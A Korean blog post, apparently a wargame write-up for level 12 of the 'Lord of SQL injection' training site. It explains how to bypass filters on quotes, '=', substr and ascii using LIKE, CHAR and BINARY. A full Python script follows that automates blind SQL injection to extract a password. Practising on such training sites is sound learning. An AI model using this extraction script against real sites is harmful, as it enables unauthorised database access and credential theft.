일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 양적완화
- 조희연
- 홍혜걸
- 임영규
- 미국 금리인하
- 이태원 클라쓰 15회 예고
- 성남 코로나 확진자
- 학교 개학 연기 4월
- 불가피
- libtins
- 스콜피온킹
- 유튜버 김재석
- 김재석
- 금리인하
- 이지혜
- 김영권 아내
- 뭉쳐야 찬다
- 고민정
- 은혜의 강 교회
- 스페인 코로나
- 킹덤 고근희
- 해킹
- 성남은혜의강교회
- 리리남매
- 제넥신
- 폰폰테스트
- 픽크루
- 김영권
- 이상형 만들기
- 최강욱
- Today
- Total
Dork's port
LOS 12번 DARKKNIGHT 본문
이번 문제는 ', =, substr, ascii에 대한 filter문제이다.
그래서 이전에 했던 것 처럼 =대신 LIKE를 사용하였다. 그리고 문자열 admin으로 만들어 주기 위해서 'admin'이 되어야 하나 filter가 적용되어있어, CHAR()함수를 쓰지 못하는 줄알았더니 자세히 보니 ()안에 아무것도 없으면 filter가 적용되는 것이였다. 이미 적어놓았으니 사용하기로 했다.
따라서 아래와 같이 pwning_url을 작성할 수 있었다. 뒤에 주석은 불필요하다!
중요한건 ASCII의 escape인데 내 코드에서 ASCII를 쓴 이유는 이전에도 언급했던 2019/01/12 - [Lord Of Sql injection] - LOS 4번의 코드를 사용하도록 하자.
그런데 가장 문제는 ASCII사용이 안된 다는 것이다.
코드에는 ASCII를 사용하고 있는데 그 이유는 mysql에서 문자 비교는 case insensitive 하기 때문에 char를 숫자로 변환하여 operator를 이용해 비교했었다.
대체할 뭔가 있는지 찾아보니 char -> ASCII code로 바꾸는 별도의 함수를 찾지 못했다.
Case sensitive 한 비교를 할 수 있는 함수를 찾아보니 BINARY가 있었다.
그래서 기존에 있던 코드를 수정했다.
원래는 General한 코드를 만들기 위해 git에 push 했는데 하다보니 높은 난이도가 gerneral한 방어기법이라고는 볼 수 없을 것 같아 문제마다 branch를 적용해 둘 걸 그랬다..
이미 늦었으니 패스 :)
import requests from bs4 import BeautifulSoup from urllib.parse import urlparse from getpass import getpass def login(id, pw): url = 'https://los.rubiya.kr/?login' data = {'id': id, 'pw': pw} res = requests.post(url, data=data) if res.status_code != 200: print('Please check server status.') exit(1) if res.text.find('fail') != -1: print('Please check your id or pw') exit(1) print('Login Success!') return res.cookies.get_dict() def get_length(pwning_url, field, add_comment, login_cookies): length = 1 while True: print('Trying to get length of {0} by length {1}'.format(field, length)) url = pwning_url + ' length({0}) LIKE {1} {2} '.format(field, length, '%23' if add_comment else '') res = requests.get(url, cookies=login_cookies) soup = BeautifulSoup(res.text, 'html.parser') h2s = soup.find_all('h2') for h2 in h2s: if h2.find('Hello') !=-1: return length length += 1 def do_blind_inject_divide(pwning_url, field, add_comment, login_cookies): pw = str() length = get_length(pwning_url, field, add_comment,login_cookies) idx = 1 print('Success to get length {0} is {1} '.format(field, length)) while idx <= length: print('Trying to get value index[{0}]'.format(idx)) min_ascii = 32 max_ascii = 127 while True: # password must compare with int in mysql 'a' = 'A' is true url = pwning_url + ' CHAR({2}) < BINARY(RIGHT(LEFT({0},{1}),1)) {3} '.format(field, idx, int((min_ascii + max_ascii) / 2), '%23' if add_comment else '') res = requests.get(url, cookies=login_cookies) soup = BeautifulSoup(res.text, 'html.parser') h2s = soup.find_all('h2') if max_ascii == int((min_ascii + max_ascii) / 2) or min_ascii == int((min_ascii + max_ascii) / 2) : if not h2s: pw += chr(int((min_ascii + max_ascii) / 2)) if h2s: pw += chr(int((min_ascii + max_ascii) / 2 + 1)) break # if false if not h2s: max_ascii = int((min_ascii + max_ascii) / 2) else: min_ascii = int((min_ascii + max_ascii) / 2) idx += 1 parsed_url = urlparse(pwning_url) origin_url = '{url.scheme}://{url.netloc}/{url.path}'.format(url=parsed_url) print('password is {0}'.format(pw)) res = requests.get(origin_url, params={field: pw}, cookies=login_cookies) soup = BeautifulSoup(res.text, 'html.parser') h2s = soup.find_all('h2') if not h2s: print('Failed to clear! Plz check logic') else: for h2 in h2s: if h2.find('Clear') != -1: print('Success to clear this stage!') break def do_blind_inject_linear(pwning_url, field, add_comment, login_cookies): pw = str() length = get_length(pwning_url, field, add_comment,login_cookies) idx = 1 print('Success to get length {0} is {1} '.format(field, length)) while idx <= length: print('Trying to get value index[{0}]'.format(idx)) for i in range(32,127): url = pwning_url + ' CHAR({2}) LIKE BINARY(RIGHT(LEFT({0},{1}),1)) {3} '.format(field, idx, i, '%23' if add_comment else '') print(url) res = requests.get(url, cookies=login_cookies) soup = BeautifulSoup(res.text, 'html.parser') h2s = soup.find_all('h2') if h2s: pw += chr(i) break idx += 1 parsed_url = urlparse(pwning_url) origin_url = '{url.scheme}://{url.netloc}/{url.path}'.format(url=parsed_url) print('password is {0}'.format(pw)) res = requests.get(origin_url, params={field: pw}, cookies=login_cookies) soup = BeautifulSoup(res.text, 'html.parser') h2s = soup.find_all('h2') if not h2s: print('Failed to clear! Plz check logic') else: for h2 in h2s: if h2.find('Clear') != -1: print('Success to clear this stage!') break if __name__ == '__main__': user_id = input('Enter your los id : ') # user_pw = getpass('Enter your los pw : ') user_pw = input('Enter your los pw : ') login_cookies = login(user_id, user_pw) pwning_url = input('Enter your pwning_url : ') # delete comment for query if pwning_url.find('%23') != -1: pwning_url = pwning_url[:pwning_url.find('%23')] field = input('Enter query name : ') while True: add_comment = input('Do you want to add comment end of the url[Y/N] ? ') if add_comment.lower() == 'y' or add_comment.lower() == 'n': break method = int(input('''Chosse 1 method 1 : divide and conquer 2 : linear default : divide first and do linear''')) if method == 1: do_blind_inject_divide(pwning_url, field, True if add_comment.lower() == 'y' else False, login_cookies) elif method == 2: do_blind_inject_linear(pwning_url, field, True if add_comment.lower() == 'y' else False, login_cookies) else: do_blind_inject_divide(pwning_url, field, True if add_comment.lower() == 'y' else False, login_cookies) do_blind_inject_linear(pwning_url, field, True if add_comment.lower() == 'y' else False, login_cookies)
'Lord Of Sql injection' 카테고리의 다른 글
LOS 14번 GIANT (0) | 2019.01.12 |
---|---|
LOS 13번 BUGBEAR (0) | 2019.01.12 |
LOS 11번 GOLEM (0) | 2019.01.12 |
LOS 10번 SKELETON (0) | 2019.01.12 |
LOS 9번 VAMPIRE (0) | 2019.01.12 |